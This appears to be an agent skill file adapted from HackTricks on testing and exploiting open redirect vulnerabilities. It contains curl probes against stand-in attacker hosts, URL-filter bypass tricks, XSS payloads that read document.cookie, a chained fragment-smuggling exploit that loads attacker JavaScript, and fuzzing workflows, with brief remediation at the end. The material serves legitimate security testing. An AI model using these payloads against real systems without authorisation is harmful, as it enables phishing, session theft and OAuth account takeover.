Hacktricks-skills open-redirect-pentest
Detect and exploit open redirect vulnerabilities in web applications. Use this skill whenever you need to test for open redirect bugs, analyze redirect parameters, bypass URL validation filters, or chain redirects with XSS/SSRF. Trigger this skill for any web security testing involving URL redirects, OAuth flows, login redirects, or when you see parameters like next=, url=, redirect=, return=, dest=, or similar redirect-related inputs.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/pentesting-web/open-redirect/SKILL.MDOpen Redirect Pentesting
A comprehensive skill for detecting, testing, and exploiting open redirect vulnerabilities in web applications.
When to Use This Skill
Use this skill when:
- Testing web applications for redirect vulnerabilities
- Analyzing OAuth/OIDC flows for redirect_uri issues
- Bypassing URL validation filters
- Chaining redirects with XSS or SSRF
- Fuzzing redirect parameters at scale
- Investigating suspicious redirect behavior
Quick Start
# Single URL check curl -s -I "https://target.tld/redirect?url=//evil.example" | grep -i "^Location:" # Fuzz redirect parameters cat candidates.txt | ./openredirex.py -p payloads.txt -k FUZZ -c 50
Detection Workflow
Step 1: Identify Redirect Parameters
Look for these common redirect parameter names:
Query Parameters:
,next
,url
,target
,rurl
,destdestination
,redir
,redirect_uri
,redirect_urlredirect
,return
,returnTo
,return_toreturn_path
,continue
,go
,goto
,jumpjump_url
,callback_url
,forward_urlforward
,checkout_url
,login
,logoutext
,clickurl
,click?u
,originUrlorigin
,desturl
,page
,actionaction_url
,service
,recurl
,link
,srclocation
,burl
,request
,backurl
,RedirectUrlReturnUrl
,qurl
,data
,success
,picsp_url
Path Patterns:
/redirect/{payload}/cgi-bin/redirect.cgi?{payload}
or/out/{payload}/out?{payload}/login?to={payload}
Step 2: Test Basic Redirects
# Test with scheme-relative URL (bypasses many filters) curl -s -I "https://target.tld/page?url=//evil.example.com" | grep -i location # Test with javascript: scheme curl -s -I "https://target.tld/page?url=javascript:alert(1)" | grep -i location # Test with trusted domain in userinfo curl -s -I "https://target.tld/page?url=https://trusted.com@evil.com/" | grep -i location
Step 3: Bypass Validation Filters
Loopback/Localhost Variants
When the app allows only internal hosts, try these loopback notations:
IPv4:
,127.0.0.1
,127.1
(decimal),2130706433
(hex)0x7f000001
(octal),017700000001
(trailing dot)127.0.0.1.
,localhost.
(casing)LOCALHOST
IPv6:
,[::1]
,[0:0:0:0:0:0:0:1][::ffff:127.0.0.1]
Wildcard DNS (resolves to loopback):
,lvh.me
(e.g.,sslip.io
)127.0.0.1.sslip.io
,traefik.melocaltest.me
URL Parsing Tricks
Network-path references:
//attacker.tld # Scheme-relative, uses current scheme
Userinfo tricks:
https://trusted.tld@attacker.tld/ # Browser goes to attacker.tld https://trusted.tld\@attacker.tld/ # Backslash confusion
Backslash confusion: Some backends treat
\ as a path character while browsers normalize to /:
https://trusted.tld\@attacker.tld https://trusted.tld\evil.tld
XSS Pivot Payloads
javascript:alert(1) java%0d%0ascript%0d%0a:alert(0) # CRLF bypass javascript://sub.domain.com/%0Aalert(1) # Subdomain filter bypass javascript://%250Aalert(1) # Double-encoded newline javascript://%250Aalert(1)//?1 # With query parameter %09Jav%09ascript:alert(document.domain) # Whitespace injection javascript://%250Alert(document.location=document.cookie) /%09/javascript:alert(1); //%5cjavascript:alert(1); \j\av\a\s\cr\i\pt\:\a\l\ert\(1\) javascript://https://whitelisted.com/?z=%0Aalert(1) /x:1/:///%01javascript:alert(document.cookie)/ ";alert(0);//
Advanced Bypass Techniques
Scheme-relative:
//evil.example
Credentials trick:
https://trusted.example@evil.example/
Backslash confusion:
https://trusted.example\@evil.example/
Whitespace/control chars:
evil.example%00 %09//evil.example
Prefix/suffix matching flaws:
https://trusted.example.evil.example/ https://evil.example/trusted.example
Path-based bypasses:
/\\evil.example /..//evil.example
Automated Testing
Using OpenRedireX
# Install git clone https://github.com/devanshbatham/OpenRedireX cd OpenRedireX ./setup.sh # Fuzz candidate URLs cat list_of_urls.txt | ./openredirex.py -p payloads.txt -k FUZZ -c 50
Using Oralyzer
# Install and run git clone https://github.com/0xNanda/Oralyzer cd Oralyzer # Follow installation instructions
Custom Fuzzing Workflow
# 1. Gather historical URLs cat domains.txt | gau --o urls.txt # Alternative: waybackurls, katana, hakrawler # 2. Extract redirect parameters grep -iE "(url=|next=|redir=|redirect|dest=|rurl=|return=|continue=)" urls.txt \ | sed 's/\r$//' | sort -u > candidates.txt # 3. Fuzz with payloads cat candidates.txt | openredirex -p payloads.txt -k FUZZ -c 50 > results.txt # 4. Filter interesting results awk '/30[1237]|Location:/I' results.txt
Client-Side Detection
Check for client-side redirect sinks in SPAs:
// Look for these patterns in JavaScript window.location = window.location.href = window.location.assign( window.location.replace( window.location.search window.location.hash // Framework helpers that read query/hash // React Router, Vue Router, Angular Router
Meta Refresh and JavaScript Redirects
<meta http-equiv="refresh" content="0;url=//evil.example"> <script>location = new URLSearchParams(location.search).get('next')</script>
Advanced: Fragment Smuggling + Traversal Chain
Server-Side Gap (Go url.Parse)
Validators that only inspect
URL.Path and ignore URL.Fragment:
GET /user/auth-tokens/rotate?redirectTo=/%23/..//\//attacker.com HTTP/1.1
Parsing sees
Path=/ and Fragment=/..//\//attacker.com, so validation passes, but the response emits Location: /\//attacker.com.
Client-Side Gap (SPA Path Traversal)
SPA helpers that decode paths for validation but return original strings:
/dashboard/script/%253f%2f..%2f..%2f..%2f..%2f..%2fuser/auth-tokens/rotate
The validator checks
/dashboard/script/ (no ..), returns the encoded string, and the browser walks to /user/auth-tokens/rotate.
End-to-End Chain
https://<target>/dashboard/script/%253f%2f..%2f..%2f..%2f..%2f..%2fuser%2fauth-tokens%2frotate%3fredirectTo%3d%2f%2523%2f..%2f%2f%5c%2fattacker.com%2fmodule.js
This chains path traversal with fragment-smuggled redirect to coerce the browser into fetching attacker JS.
OAuth/OIDC Risks
Open redirects in OAuth flows can lead to account takeover by leaking authorization codes/tokens. Always test:
parametersredirect_uri- OAuth callback URLs
- SSO redirect endpoints
Code Examples (Vulnerable Patterns)
.NET
response.redirect("~/mysafe-subdomain/login.aspx")
Java
response.redirect("http://mysafedomain.com");
PHP
<?php header("Location: http://mysafedomain.com"); exit; ?>
Remediation
- Whitelist allowed redirect destinations - Maintain an explicit list of trusted URLs
- Use relative redirects - Redirect to relative paths instead of absolute URLs
- Validate URL scheme and host - Ensure scheme is http/https and host matches expected domain
- Use tokens for redirects - Generate signed tokens instead of passing URLs directly
- Encode redirect parameters - Properly encode all user input in redirect parameters